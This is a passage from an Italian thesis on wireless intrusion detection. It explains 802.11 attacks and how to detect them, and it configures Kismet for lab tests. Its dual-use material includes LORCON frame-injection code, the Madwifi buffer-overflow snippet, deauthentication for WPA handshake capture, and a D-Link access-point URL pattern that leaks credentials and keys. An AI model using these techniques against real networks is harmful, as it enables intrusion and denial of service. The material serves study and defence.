  • 49. 42 Wireless IDS Nonostante il wardriving non costituisca un vero e proprio attacco, e pi` u in generale nemmeno un reato (vd. appendice B), siamo comunque interessa- ti a monitorarne l’attivit` in quanto rappresenta una potenziale minaccia alla a sicurezza della nostra rete. Purtroppo, come gi` evidenziato, dovremo limi- a tare le nostre osservazioni ai soli scanner attivi: considerata la sua diffusione, concentreremo il nostro studio sul solo NetStumbler sebbene in letteratura esistano pattern anche per altri software quali Wellenreiter, DStumbler e perfino Windows XP [31]. Rilevare NetStumbler NetStumbler ` verosimilmente lo strumento pi` popolare e adoperato tra gli e u amanti del wardriving; disponibile per Windows 2000/XP e CE, ` caratte- e rizzato da una GUI (Graphic User Interface) amichevole che ne semplifica enormemente l’uso. NetStumbler trasmette ripetutamente probe request, un tipo di frame per richiedere informazioni ad un access point, in modalit` a broadcast: ci` ` perfettamente conforme alle specifiche IEEE 802.11, pertan- oe to ` difficile individuare un tentativo di scansione. Fortunatamente alcune e versioni di NetStumbler (0.3.20∼0.3.30), ogni volta che rilevano un nuovo access point, inviano un ulteriore frame il cui pattern ` stato ampiamente e documentato in [31]. In particolare due campi del protocollo LLC, OUI (Organizationally Unique Identifier ) e PID (Protocol Identifier ), sono siste- maticamente impostati ai valori 0x00601D e 0x0001; il payload dati, inoltre, contiene una delle stringhe riportate in Tabella 4.1. Versione Payload ASCII ID 0.3.20 Flurble gronk bloopit, bnip Frundletrune 41:6C:6C:20 0.3.23 All your 802.11b are belong to us 46:6C:72:75 0.3.30 Una serie di spazi vuoti 20:20:20:20 Tabella 4.1: Payload caratteristici per identificare NetStumbler Determinare una scansione `, perci`, relativamente facile; ad esempio e o
  • 50. 4.2 Attacchi e contromisure 43 potremmo impiegare il seguente filtro per Wireshark/Ethereal, sostituendo ad ASCII ID l’opportuna rappresentazione del payload in codice ASCII. (wlan.fc.type_subtype eq 32) and (llc.oui eq 0x00601D and llc.pid eq 0x0001) and (data[4:4] eq ASCII_ID) Disgraziatamente l’ultima versione di NetStumbler (0.4) ` insensibile a questi e espedienti. Proponiamo pertanto una soluzione alternativa, attualmente non implementata, basata sullo studio delle anomalie prodotte dagli scan- ner attivi. Questi sistemi sono tipicamente utilizzati in movimento, gene- ralmente in auto, e immettono continuamente traffico nelle reti senza mai associarsi: un WIDS sufficientemente intelligente potrebbe collezionare le coordinate GPS del sospetto e, analizzandone la variazione in due tempi t e t + δt, derivarne la velocit` di spostamento. Stabilita una soglia massima a abbiamo introdotto una semplice regola per discriminare un wardriver dai clients legittimi. Tuttavia questa tecnica presuppone la capacit` di localiz- a zare fisicamente gli intrusi, una tematica piuttosto complessa che tratteremo in sez. 4.3. 4.2.2 MAC spoofing Uno spoofing al livello data-link prevede, sostanzialmente, un’alterazione del MAC address atta a mascherare la propria presenza nella rete. Sebbene questa operazione sia sorprendentemente semplice su qualsiasi piattaforma, verificare l’effettiva autenticit` di un indirizzo ` estremamente arduo e, pi` a e u in generale, impossibile. Possiamo comunque individuare diversi pattern per caratterizzare alcuni di questi attacchi. In primo luogo osserviamo che non tutte le permutazioni di 48 bits for- mano MAC address ammissibili in quanto i primi 3 bytes (OUI) identificano univocamente un produttore o un rivenditore registrato presso la IEEE: al
  • 51. 44 Wireless IDS momento (Dicembre 2007) solo 10.932 prefissi sono stati assegnati, in conse- guenza ogni altra combinazione evidenzia inequivocabilmente la presenza di uno spoofing. Questo accorgimento, considerato che la lista degli OUI ` di e dominio pubblico, pu` dissuadere solo soggetti molto inesperti. o Un metodo nettamente migliore, descritto in [32], ` basato sull’analisi del e sequence number, un campo del protocollo 802.11 utilizzato come conta- tore per ordinare il flusso dei frame. Controllandone la sequenza il sistema pu` identificare valori fuori scala, pertanto prodotti da una diversa fonte: o ad esempio se un sensore cattura la serie 1920-1921-232-1923 ` altamente e probabile che il terzo pacchetto sia stato trasmesso da un intruso in fase di spoofing. Questa tecnica ` molto raffinata ma tuttavia infrangibile trami- e te alcuni driver con funzionalit` avanzate di injection che alterano in modo a coerente il sequence number; in particolare, per i possessori di schede con chipset Atheros o Prism54, raccomandiamo il progetto Raw FakeAP [33], differente e preferibile al pi` blasonato FakeAP. u Sebbene la soluzione precedente sia sufficientemente sofisticata e adatta a rilevare la maggiore parte degli spoofing, tentiamo di definire qualche ul- teriore regola per potenziare le capacit` di riconoscimento del nostro WIDS. a Ad esempio [34] propone una strategia alternativa prevedendo confronti pe- riodici tra i dati dei clients contenuti in un database locale e quelli ottenuti tramite una scansione al livello IP: se sono riscontrate differenze troppo mar- cate ` generato un alert. In ogni caso questo procedimento, oltre a degradare e le performance della rete, obbliga a mantenere costantemente aggiornate le informazioni del database. Osservazioni pi` utili possono essere nuovamente ricavate dalle coordi- u nate GPS dell’host. Ad esempio se la nostra policy di sicurezza disciplina gli ambienti in cui ` permesso il collegamento WLAN potremmo ritenere so- e spetti tutti gli hosts fuori dal perimetro virtuale precedentemente definito. Questo, inoltre, consente una suddivisione della rete per aree di competenza del personale, ad esempio identificando come spoofing l’utilizzo di un MAC
  • 52. 4.2 Attacchi e contromisure 45 address della sezione ricerca e sviluppo nel settore dedicato al reparto ven- dite. Ulteriori valutazioni possono contemplare variazioni troppo accentuate del TTL (Time-To-Live) o della potenza del segnale. 4.2.3 Rogue client Un rogue client, letteralmente client canaglia, rappresenta un qualsiasi host non appartenente alla nostra rete; tale definizione, pertanto, non include so- lamente i possibili intrusi ma qualunque dispositivo wireless sia rilevato dai sensori. Il problema ` tipicamente gestito tramite l’utilizzo di due liste di e MAC address, known list e known but not ours list: la prima contiene tutti i propri indirizzi legittimi, la seconda informa il sistema su eventuali clients conosciuti ma non autorizzati, ad esempio perch´ rilevati dai senso- e ri ma appartenenti all’edificio vicino. Questi elenchi, ovviamente, devono essere periodicamente aggiornati per riflettere le modifiche apportate alla rete. Potremmo, viceversa, approntare una metodologia basata sull’analisi delle anomalie presentate a seguire, focalizzandoci su injection, disassocia- zioni e frame irregolari. Attualmente, tuttavia, non sussistono WIDS che implementano efficaci controlli anomaly-based in ambiente wireless. 4.2.4 Rogue access point Indubbiamente i rogue access point rappresentano la preoccupazione predo- minante in un sistema WLAN. Tramite Evil-Twin (vd. sez. 4.1) abbiamo gi`, a in parte, introdotto le immense potenzialit` di questi attacchi che, di fatto, a sanciscono definitivamente l’abbandono della concezione classica di sicurez- za tramite DMZ (vd. sez. 2.1). Se tramite Evil-Twin abbiamo evidenziato possibili aggressioni agli utenti dall’esterno, ora illustriamo i rischi connessi all’utilizzo improprio di access point all’interno della rete. Commentiamo tramite un esempio la Figura 4.4. Un dipendente, incuran-
  • 53. 46 Wireless IDS te della policy di sicurezza e senza comunicarlo all’amministratore, installa un access point nella propria postazione di lavoro, connessa alla intranet lo- cale. Nelle sue ingenue intenzioni, il dispositivo abiliter` il fiammante iPod a touch appena acquistato a scaricare MP3 sfruttando la veloce rete azien- dale; decisamente non ` un gran lavoratore ma non ` il suo rendimento a e e tormentare il nostro sonno quanto, piuttosto, la disattenzione mostrata non impostando o configurando malamente un qualsiasi protocollo di sicurezza. Figura 4.4: Attacco alla rete interna Il risultato di una singola azione sconsiderata ha compromesso l’intera struttura: ora qualunque intruso pu` liberamente entrare nella rete locale, o supposta sicura nella suddivisione DMZ, evitando tutti i sistemi di controllo tradizionali quali firewall e IDS. Al lettore attento non sar` sfuggito un tragico particolare: nel nostro a esempio non ` specificato che l’azienda possega una preesistente WLAN ma e solamente una generica rete cablata. In un solo momento abbiamo invalida- to decenni di studi teorici e pratici in quanto adesso, a prescindere dal tipo di rete, nessuno pu` garantire un minimale livello di sicurezza senza adottare o
  • 54. 4.2 Attacchi e contromisure 47 un WIDS. Come unica (scarsa) consolazione constatiamo che, collocando op- portunamente i sensori, riconoscere e bloccare un rogue access point interno ` decisamente semplice; difatti, in modo simile ai rogue clients, ` sufficiente e e confrontarne il MAC address con un elenco di indirizzi autorizzati. Al contrario individuare attacchi Evil-Twin o altri man in the middle esterni (vd. sez. 1.4) presenta le difficolt` esposte in sez. 4.1 e comporta, a sostanzialmente, una disposizione accurata e previdente dei sensori in tutte le aree potenzialmente critiche. Inoltre ` consigliabile eseguire un wardri- e ving nella zona circostante il proprio edificio e annotare in una lista “known but not ours list” gli access point delle reti vicini. Ci` evita la generazione o continua di alert ma, tuttavia, presenta un rilevante punto debole: un ag- gressore che abbia compiuto un MAC spoofing con l’indirizzo di un vicino probabilmente non sar` soggetto a notifiche. a 4.2.5 Denial-of-service Gli attacchi DOS (vd. sez. 1.4) trovano nell’ambiente wireless un contesto estremamente favorevole, tale da sviluppare queste minacce rendendole, in generale, non prevenibili; concentriamo il nostro studio sulle tematiche pi` u comuni. Injection e flooding Il modo pi` semplice per causare un DOS ` sicuramente un flood, una ge- u e nerazione continua di frame tramite script di injection atta a saturare il canale; in realt` qualunque dispositivo produca un segnale nei pressi dei 2.4 a GHz ` sufficiente a disturbare e degradare il funzionamento di una WLAN e e ci` ` sostanzialmente inevitabile. In ogni caso, picchi improvvisi di traffico oe delineano, probabilmente, un WEP cracking piuttosto che un tentativo di DOS.
  • 55. 48 Wireless IDS Associations flood [35] ` un DOS decisamente pi` interessante. Ogni e u access point dispone le informazioni di associazione dei vari clients in un’area di memoria chiamata association table sufficiente, secondo lo standard 802.11, a contenerne un massimo di 2007; al contrario la reale dimensione dipende fortemente dal particolare modello. In ogni caso, similarmente a un SYN flood nello strato TCP (vd. sez. 2.1), un aggressore potrebbe inviare un flood di frame association request per causare un overflow della tabella o quantomeno per negare ulteriori associazioni agli host legittimi. Questo attacco ` prevenibile impostando un qualsiasi robusto protocollo di sicurezza e tipo TKIP o CCMP. Disassociazione e deautenticazione I DOS di disassociazione e deautenticazione sono, verosimilmente, i pi` pe- u ricolosi e attuati in quanto propedeutici per attacchi successivi quali Evil- Twin e WPA cracking. Impersonando l’access point, tramite MAC spoofing, ` possibili inviare ad un client disassociation frame e deauthentication e frame costringendolo, ad esempio, a ripetere l’hand-shake a quattro vie in cui ` scambiata la PTK necessaria alla fase di cracking. Un invio continuo e e alternato dei due frame, inoltre, previene per un tempo arbitrario la ricon- nessione. Si osservi che il traffico ` trasmesso unicamente all’host vittima, e ulteriore dimostrazione della necessit` di collocare i sensori anche in settori a distanti dagli access point. DOS avanzati: duration e power saving attack Tipologie pi` avanzate di DOS sono ottenibili sfruttando in modo anomalo u particolari caratteristiche dello standard 802.11. Prima di trasmettere, per evitare sovrapposizioni di segnali, le stazioni riservano il canale tramite il protocollo CSMA-CA (Carrier Sense Multiple Access - Collision Avoidan- ce) specificando la durata, in millisecondi, in due bytes dell’header 802.11.
  • 56. 4.2 Attacchi e contromisure 49 Un duration attack [36], rappresentato in Figura 4.5, abusa di questa pe- culiarit` iniettando continuamente frame con alti valori di durata, negando a di fatto la comunicazione a tutti gli altri clients. Figura 4.5: Duration attack Un power saving attack, al contrario, approfitta delle specifiche 802.11 inerenti il risparmio energetico. Un host pu` avvisare l’access point che o intende entrare in uno stato detto doze, a basso consumo; periodicamente, tornando in modalit` attiva, notifica tramite un PS-Poll frame la volont` di a a ricevere i dati trasmessi nel periodo di doze e temporaneamente memorizzati nell’access point. Un aggressore, utilizzando il MAC della vittima e inviando un PS-Pool frame, potrebbe causare l’invio delle informazioni bufferizzate negandone al client la ricezione al successivo risveglio. Questi attacchi sono difficilmente identificabili con signatures predefinite e, pertanto, dovrebbe essere affrontati con strategie anomaly-based. Os- serviamo, comunque, che parte di essi potrebbe essere risolta a breve con l’introduzione del nuovo standard 802.11w (vd. sez. 3.5).
  • 57. 50 Wireless IDS 4.2.6 Driver exploitation Oggigiorno nessuno ` pi` sorpreso nel trovare in un qualsiasi programma e u uno o pi` problemi irrisolti. Tutti i software attualmente commercializzati u contengono svariati difetti che, solo in parte, saranno corretti durante l’arco di vita utile del prodotto. In generale, ha perfino senso ipotizzare una legge che colleghi complessit`, quantit` di codice e numero di errori presenti. a a I driver di qualunque dispositivo, comprese le schede WLAN, non rap- presentano certamente un’eccezione ma, al contrario, sono propensi a gravi e cospicue vulnerabilit`: tipicamente sono sviluppati in C o in Assembly, a spesso frettolosamente e senza essere sottoposti a rigide sessioni di testing. Il problema ` aggravato dall’esigenza di eseguire tale codice in kernel mo- e de, una imposizione comune a tutte le architetture pseudo-monolitiche e/o ibride come i vari Windows, Linux, BSD e MAC OS X. Un exploit in questa modalit`, normalmente, scavalca tutti i classici meccanismi di sicurezza lo- a cale. I moderni access point, in aggiunta, sono frequentemente corredati con comode interfacce web che ne facilitano l’installazione; tuttavia questi pic- coli server web sono spesso configurati incautamente e non prevedono l’uso di connessioni sicure SSL, trasformandoli, di fatto, in facili e ambite prede. Per comprendere la diffusione di tali problematiche invitiamo compiere una semplice ricerca su www.securityfocus.com. Un WIDS robusto dovrebbe considerare la possibilit` che access point a e sensori subiscano exploit atti ad alterarne il comportamento e prevede- re periodicamente fasi di collaudo e revisione dell’hardware. Analizziamo, supportandole con episodi reali, le principali metodologie di exploit. Fuzzing testing/attack Lo standard 802.11 ` estremamente complesso. Le specifiche descrivono tre e diversi tipi di frame (gestione, controllo e dati), ognuno formato da una mol-
  • 58. 4.2 Attacchi e contromisure 51 titudine di campi spesso opzionali e con dimensione variabile; l’introduzione delle successive estensioni, ad esempio 802.11i, e di funzionalit` proprietarie a come le modalit` SuperG hanno esasperato le implementazioni dei driver. a Chiunque abbia mai scritto un parser in C minimamente articolato com- prende facilmente la probabilit` che il codice presenti errori o imprecisioni a difficilmente individuabili. Un metodo alternativo all’analisi dei sorgenti tra- mite debugger, impossibile nel caso di driver proprietari, ` l’utilizzo di un e fuzzer. Un fuzzer [37] ` un software per iniettare automaticamente dati e pseudocasuali in un programma, tentando di rilevarne i bugs. Sebbene nasca come strumento per svolgere test, il suo utilizzo ` evidentemente vantaggioso e anche per un aggressore intezionato a determinare e sfruttare le vulnerabilit` a nascoste di access point e schede WLAN. Un fuzzer rinomato per le sue capacit` ` Scapy. Scapy [39], in realt`, ` ae a e un potente generatore multiprotocollo che permette, ad esempio, di plasma- re e iniettare frame irregolari in maniera arbitraria o casuale. Utilizzando le API fornite da Scapy ` possibile manipolare praticamente ogni aspetto e dell’intero stack TCP/IP, combinando tra loro un’enorme variet` di attacchi a normalmente gestibili solo attraverso tools separati. In particolare una ca- ratteristica molto apprezzata dai suoi utilizzatori ` la funzione fuzz(), una e procedura che consente di specificare alcuni campi di un protocollo generando casualmente i rimanenti. In ambiente wireless la ricerca di vulnerabilit` ` focalizzata sui campi IE ae (Information Element), in quanto opzionali e di dimensione variabile entro un range prefissato: questo li rende candidati ideali a vari tipi di exploit, soprattutto a buffer overflow (vd. sez. 1.4). Ad esempio le specifiche 802.11 prevedono un SSID di massimo 32 bytes, nonostante la struttura IE ne per- metta sino a 256: violando lo standard otteniamo un long SSID, un’al- terazione che abbiamo gi` utilizzato in sez. 4.1.3 per veicolare gli attacchi a all’interfaccia WIDS. Un esempio concreto, descritto in [38], ` un overflow e scoperto nella versione 0.9.2 dei driver Madwifi (chipset Atheros):
  • 59. 52 Wireless IDS #d e f i n e MAX IE LENGTH 64 ∗ 2 + 30 c h a r buf [ MAX IE LENGTH ] ; ... memset(&iwe , 0 , s i z e o f ( iwe ) ) ; memcpy ( buf , se−>s e w p a i e , se−>s e w p a i e [ 1 ] + 2 ) ; ... Versione vulnerabile (0.9.2) I lettori con una minima esperienza di linguaggio C noteranno imme- diatamente l’errore: la seconda linea di codice copia un’area di memoria in un buffer originariamente pensato per contenere un IE, cio` un massimo di e 256 bytes (in realt` in questa particolare porzione di codice il limite ` 158); a e nessun controllo previene un overflow in caso un utente malevolo inietti un frame malformato con un IE di dimensione maggiore. Osserviamo la corre- zione prontamente rilasciata dal team Madwifi solo 24 ore dopo la scoperta del problema. #d e f i n e MAX IE LENGTH 64 ∗ 2 + 30 c h a r buf [ MAX IE LENGTH ] ; ... memset(&iwe , 0 , s i z e o f ( iwe ) ) ; i f ( ( se−>s e w p a i e [ 1 ] + 2 ) > MAX IE LENGTH) r e t u r n E2BIG ; memcpy ( buf , se−>s e w p a i e , se−>s e w p a i e [ 1 ] + 2 ) ; ... Versione corretta (0.9.3) Un aggressore in possesso delle conoscenze necessarie ad attuare con successo queste tecniche, tipicamente, genera e inietta traffico malformato utilizzando software simili a Scapy. Tuttavia un’alternativa a basso livello pi` performante ` disponibile tramite la libreria LORCON (Loss of Radio u e CONnectivity) concepita da Jousha Wright e Mike Kershaw, lo sviluppato- re di Kismet. LORCON [40] propone un ingegnoso framework di injection
  • 60. 4.2 Attacchi e contromisure 53 unificato per astrarre dalla particolare scheda WLAN; attualmente suppor- ta numerosi driver Linux tra cui wlan-ng, bcm43xx, prism54, madwifing, rt2570, rt2500, zd1211rw e molti altri. Un esempio di applicativo basato su LORCON, liberamente tratto da [40], ` il seguente: e #i n c l u d e <tx80211 . h> i n t main ( i n t argc , c h a r ∗ argv [ ] ) { t x 8 0 2 1 1 t tx ; t x 8 0 2 1 1 p a c k e t t txp ; u i n t 8 t p a c k e t [ ] = ” xc4 x00 x f f x 7 f x00 x13 xce x55 x98 x e f ” ; t x 8 0 2 1 1 i n i t (&tx , INTERFACE, t x 8 0 2 1 1 r e s o l v e c a r d (DRIVER NAME) ) ; t x 8 0 2 1 1 g e t c a p a b i l i t i e s (& tx ) ; t x 8 0 2 1 1 s e t f u n c t i o n a l m o d e (&tx , TX80211 FUNCMODE INJMON) ; t x 8 0 2 1 1 o p e n (& tx ) ; t x 8 0 2 1 1 i n i t p a c k e t (&txp ) ; txp . p a c k e t = p a c k e t ; txp . p a c k e t = s i z e o f ( p a c k e t ) ; i f ( t x 8 0 2 1 1 t x p a c k e t (&tx , &txp ) < txp . p l e n ) d i e (& tx ) ; t x 8 0 2 1 1 c l o s e (& tx ) ; return 0; } Iniezione di traffico con LORCON LORCON, in aggiunta, ` perfettamente integrato in molti tools tra cui e Metasploit, Kismet e Etheral/Wireshark (tramite patch esterna). Ad esem- pio utilizzando Metasploit, un framework per lo sviluppo e l’esecuzione di exploit remoti, l’esempio precedente riscritto in Ruby diviene:
  • 61. 54 Wireless IDS r e q u i r e ” Lorcon ” p a c k e t = [ 0 xc4 , 0 x00 , 0 x f f , 0 x7f , 0 x00 , 0 x13 , 0 xce , 0 x55 , 0 x98 , 0 x e f ] . pack ( ’C∗ ’ ) p u t s ” I n i t LORCON u s i n g w i f i 0 and madwifing d r i v e r ” tx = Lorcon : : D e vi c e . new ( ’ w i f i 0 ’ , ’ madwifing ’ , 1 ) p u t s ” Changing c h a n n e l t o 11 ” tx . c h a n n e l = 11 # Send t h e frame 500 t i m e s w i t h no i n t e r −frame d e l a y s a = Time . now . t o f tx . w r i t e ( packet , 5 0 0 , 0 ) ea = Time . now . t o f − s a p u t s ” Sent 500 p a c k e t s i n #{ea . t o s } s e c o n d s ” Utilizzare la libreria LORCON con Metasploit Web based attack Le interfacce degli access point, a causa delle fragili protezioni implementate, sono uno dei bersagli preferiti dagli aggressori. Come caso di studio consi- deriamo un D-Link DWL-2100AP, parte della rete utilizzata per le verifiche sperimentali (vd. cap. 5). Una rapida ricerca [41] ha rilevato una vulnera- bilit` presente nei firmware precedenti la versione 2.10na ≤. In particolare, a una qualunque richiesta HTTP riconducibile al pattern /cgi-bin/*.cfg vi- sualizza l’intera configurazione dell’access point, comprensiva di username e password d’accesso e di chiavi WEP/WPA. Sfortunatamente il server web integrato in questo dispositivo non ` disattivabile e, inoltre, non supporta e connessioni SSL. Sebbene l’aggiornamento alla versione 2.20 abbia risolto il problema, permane tuttavia un senso di malumore e perplessit` diffuso riguardo le a procedure di testing adottate dalle maggiori aziende del settore.
  • 62. 4.3 Il problema della localizzazione 55 4.3 Il problema della localizzazione Nella sezione precedente abbiamo pi` volte segnalato il desiderio di disporre u di un valido sistema di localizzazione fisica degli intrusi. A differenza de- gli IDS tradizionali, in cui le informazioni pi` rilevanti sono essenzialmente u gli indirizzi IP e MAC ed eventualmente i dati SNMP (Simple Network Management Protocol ), un WIDS affidabile non pu` prescindere dalla co- o noscenza delle coordinate geografiche da cui proviene un attacco. Tuttavia l’individuazione di un intruso, fondamentale per ridurre al minimo la finestra d’esposizione alle aggressioni, ` una tematica veramente complessa legata, in e primo luogo, alla tecnologia spread-spectrum adottata nelle comunicazioni WLAN. Senza focalizzarsi particolarmente sugli aspetti algoritmici, quasi tutte le soluzioni coinvolgono un’analisi della potenza del segnale. In particolare, in ambiente Linux, ` possibile utilizzare iwspy, un programma per visua- e lizzare le statistiche della connessione wireless, altrimenti contenute nel file /proc/net/wireless. Figura 4.6: Localizzazione con antenne omnidirezionali In ogni caso sono disponibili, in generale, due differenti approcci. Il primo,
  • 63. 56 Wireless IDS descritto dettagliatamente in [42], impiega sensori dotati di antenne omni- direzionali (vd. Figura 4.6). Tramite i teoremi della geometria elementare, per identificare univocamente un punto sono necessarie almeno tre circonfe- renze: un numero inferiore introduce incertezza sulla posizione effettiva del sospetto. Una seconda possibilit` ` adoperare antenne direzionali [43] (vd. Figu- ae ra 4.7). Quest’ultime hanno il vantaggio di costare meno e offire guadagni pi` u elevati, consentendo la copertura di zone pi` vaste. Tuttavia la direzionalit` u a limita le probabilit` di intercettazione, obbligando a prevedere sistemi moto- a rizzati, tipicamente onerosi, che permettano una rotazione completa di 360 ◦ attorno all’asse. Sebbene qualsiasi tipo di antenna direzionale (Yagi, Grid, Dish, ecc...) sia teoricamente idonea, ` consigliabile orientarsi sul medesimo e modello per tutti i sensori. Figura 4.7: Localizzazione con antenne direzionali Nonostante gli sforzi, si osservi la difficolt` intrinseca nel definire una a funzione matematica che descriva l’attenuazione del segnale in una genene-
  • 64. 4.4 Kismet 57 rica situazione. Pertanto prima di implementare gli algoritmi, normalmente, sono effettuate ripetute rilevazioni nei punti critici della struttura in diverse condizioni ambientali. Svariati test mostrano errori nell’ordine dei 2-8 metri. 4.4 Kismet Kismet ` un progetto open-source rilasciato sotto licenza GPL, teoricamente e compilabile su qualsiasi piattaforma POSIX-compatibile. Sebbene sia inizial- mente nato come strumento per il wardriving e lo sniffing di traffico IEEE 802.11 in modalit` RFMON, implementa, a partire dalla seconda versione, a alcune caratteristiche proprie dei WIDS e, in particolare, supporta nativa- mente l’idea di rete distribuita di sensori o, usando la terminologia di Kismet, droni. Un drone `, essenzialmente, un sensore passivo il cui comportamen- e to ` configurabile indipendentemente dai suoi simili. Alcuni, ad esempio, e potrebbero essere dedicati ad ascoltare solamente un determinato canale o essere corredati con un dispositivo GPS, a prescindere dagli altri. Figura 4.8: Wardriving con Kismet
  • 65. 58 Wireless IDS Tutti i droni comunicano con un unico nodo centrale, il server Kismet, che ha il compito di correlare le informazioni ed eventualmente generare gli alerts; inoltre, se necessario, pu` essere collegato in pipe ad un altro programma, o tipicamente un IDS per gli strati superiori (ad esempio Snort). Ogni aspet- to della configurazione pu` essere variato tramite tre soli files, kismet.conf, o kismet drone.conf e kismet ui.conf, contenuti in $KISMET/etc o /etc/kismet a seconda che sia stato installato da sorgenti ($KISMET rap- presenta la directory di installazione) o tramite un pacchetto precompilato. Figura 4.9: Dettagli della rete Per il suo funzionamento, Kismet necessita di un driver nativo RFMON; per un elenco di dispositivi pi` o meno compatibili si consiglia di consultare u la documentazione [27]. In particolare l’associazione con un drone avvie- ne tramite il dummy driver kismet drone, specificando come interfaccia dronehost:port nel file kismet.conf: # kismet.conf - server configuration example source=kismet_drone,192.168.1.20:58000,Drone1 source=kismet_drone,192.168.1.21:43226,Drone2
  • 66. 4.4 Kismet 59 ...... In ogni drone, viceversa, si precisa nel file kismet drone.conf i driver e le interfacce delle schede WLAN impiegate come sensori: # kismet_drone.conf - drone configuration example source=madwifi_g,wifi0,AtherosCard Osserviamo che l’abilitazione della modalit` RFMON ` possibile solo de- a e tenendo i diritti amministrativi, tipicamente privilegio esclusivo dell’utente root. In realt` Kismet, in fase di precompilazione, permette di attribure tale a capacit` anche agli utenti normali. Tuttavia, per motivi di sicurezza, questa a pratica ` sconsigliabile e, se realmente necessario, si dovrebbe considerare e l’utilizzo di sudo. Utilizzato come WIDS, Kismet combina controlli basati sia su signatu- res sia sull’analisi delle anomalie; l’elenco degli attacchi rilevabili, tratto direttamente dalla documentazione, ` riportato di seguito. e Tramite signatures: 1. NetStumbler (0.3.22, 3.23, 3.30) (OBSOLETO) 2. Lucent/Orinoco site survey software (OBSOLETO) 3. Wellenreiter (1.5, 1.6) (OBSOLETO) 4. Airjack (OBSOLETO) 5. Frame di disconnessione/deautenticazione in broadcast 6. Frame probe response con SSID di dimensione zero 7. SSID overflow exploit per driver Broadcom (Windows) 8. Long SSID, maggiore di 32 bytes 9. Overflow exploit tramite IE rate tag, driver D-Link (Windows) 10. Overflow exploit tramite IE rate tag, driver NetGear (Windows)
  • 67. 60 Wireless IDS 11. Frame di disassociazione/deautenticazione irregolari Tramite analisi delle anomalie: 1. Flood di disassociazioni/deautenticazioni 2. Access point precedentemente rilevato, attivo su un diverso canale; probabile Evil-Twin 3. Continue probe request senza associarsi 4. Trasmissione nei 10 secondi successivi a una disassociazione 5. BSS timestamps invalidi; probabile spoofing dell’access point Figura 4.10: Alerts Una nuova versione di Kismet ` rilasciata, normalmente, ogni 6-8 mesi. Pa- e rallelamente, da alcuni anni, ` in sviluppo una versione alternativa e ancora e incompleta, denominata Newcore, progettata e implementata totalmente from scratch (da zero): la nuova struttura dovrebbe permettere migliori per- formance, pi` funzionalit` e un supporto alla definizione di plugins esterni. u a Quando giunger` a maturazione sostituir` la versione attuale. a a
  • 68. Capitolo 5 Verifiche sperimentali Nel capitolo precedente abbiamo constatato l’esigenza di adottare un Wire- less IDS ovunque la sicurezza informatica sia percepita, saggiamente, come una necessit`. In conseguenza abbiamo presentando Kismet come l’unico va- a lido candidato open-source e, pertanto, concludiamo questo elaborato verifi- candone sperimentalmente le capacit` ed evidenziandone le carenze. In par- a ticolare, configurati gli strumenti, eseguiremo una serie di penetration test su una rete WLAN preparata allo scopo e, successivamente, analizzeremo gli eventuali alert generati in risposta. 5.1 Topologia della rete Stabiliamo, in primo luogo, una topologia di rete adeguata alla nostra speri- mentazione; la nostra scelta ` illustrata in Figura 5.1, una WLAN minimale e in cui sono concentrati tutti gli aspetti principali descritti durante questa ricerca. Innanzitutto possiamo osservare l’accorpamento dell’unico sensore direttamente nel server WIDS, una soluzione giustificabile solamente dallo scopo puramente didattico di questo sistema. Il server e l’intruso sono due macchine sostanzialmente identiche, entrambe equipaggiate con sistema ope-
  • 69. 62 Verifiche sperimentali rativo Debian GNU/Linux Sid e scheda WLAN OEM (chipset Atheros); i due client, viceversa, adoperano Windows XP e rispettivamente una scheda Netgear WG511v2 e una D-Link DWL-610. Il router assegna dinamicamente, tramite DHCP, un indirizzo IP a qua- lunque stazione sia autenticata dall’access point, un D-Link DWL-2100AP. Negli attacchi che lo richiedono, il ruolo di rouge access point sar` simulato a via software dall’intruso. Figura 5.1: Topologia della rete utilizzata nei test 5.2 Configurazione degli strumenti Procediamo a descrivere la configurazione del server WIDS e dell’intruso: sebbene questa esposizione sia legata al particolare sistema GNU/Linux in- stallato nelle nostre postazioni (Debian Sid), dovrebbe tuttavia essere analo-
  • 70. 5.2 Configurazione degli strumenti 63 gamente fruibile, con i dovuti accorgimenti, sia in distribuzioni derivate come ad esempio Ubuntu sia in qualsiasi piattaforma con kernel 2.6.X. In ogni caso, una comoda alternativa ` rappresentata da Backtrack e (www.remote-exploit.org/backtrack.html), una distribuzione live corre- data di tutti i software necessari ad impersonare entrambi i ruoli. Il server Il nostro server abbisogna unicamente di Kismet, la cui ultima versione ` e attualmente presente nei repository di Sid; i fortunati utilizzatori di apt-get, pertanto, concludono l’installazione semplicemente tramite: apt−g e t i n s t a l l k i s m e t Una seconda opzione ` sincronizzarsi con la versione in sviluppo nel trunk e svn. Questa procedura presuppone una preesistente installazione del tool subversion e richiede una risoluzione manuale delle eventuali dipendenze necessarie alla compilazione (vd. [27]): svn co h t t p : / / svn . k i s m e t w i r e l e s s . n e t / code / trunk k i s m e t cd k i s m e t . / c o n f i g u r e −−p r e f i x =/opt / k i s m e t make dep && make & make i n s t a l l Configuriamo sia il drone sia il server Kismet e, infine, attiviamoli: echo ” s o u r c e=k i s m e t d r o n e , 1 2 7 . 0 . 0 . 1 : 3 5 0 1 , Drone1 ” >> / etc / kismet / kismet . conf echo ” s o u r c e=madwifi g , w i f i 0 , AtherosCard ” >> / etc / kismet / kismet drone . conf kismet drone & kismet
  • 71. 64 Verifiche sperimentali L’intruso Da alcuni anni i driver Linux madwifi, per schede WLAN con chipset Athe- ros, sono considerati i migliori in assoluto in quanto integrano nativamente un supporto all’injection tale da permettere un controllo praticamente totale su ogni aspetto dei frame IEEE 802.11; in conseguenza il nostro intruso non necessita di particolari preparazioni se non nella scelta dei tools. Nel capitolo precedente abbiamo presentato alcuni framework per in- jection a medio e/o basso livello (vd. 4.2.6), tuttavia in questa fase siamo maggiormente interessati a testare le capacit` di Kismet che a presenta- a re tecniche avanzate di attacco: pertanto utilizzeremo Aircrack-NG e, solo marginalmente LORCON e Simple Injector (vd. sez. 5.3.4). Aircrack (www.aircrack-ng.org) ` una collezione di strumenti per age- e volare e automatizzare le operazioni di cracking per reti WEP e WPA-PSK 1&2; implementa tutti i pi` comuni attacchi al protocollo WEP (compreso u PTW [18]) oltre ad alcune funzionalit` per forzare i clients a ri-autenticarsi, a recuperando l’handshake contenente l’hash della chiave WPA. In realt`, a a partire dall’ultima versione (1.0∼beta1), abilita parzialmente anche ad in- jection arbitrari e molte altre carattestiche avanzate che non tratteremo in quanto non pertinenti allo scopo di questo elaborato. Per eventuali appro- fondimenti si consiglia la lettura dei vari tutorials presso [44]. Nei repository di Sid ` disponibile l’ultima beta appena rilasciata; in e alternativa, in maniera similare a quanto avvenuto con Kismet, ` possibile e compilare 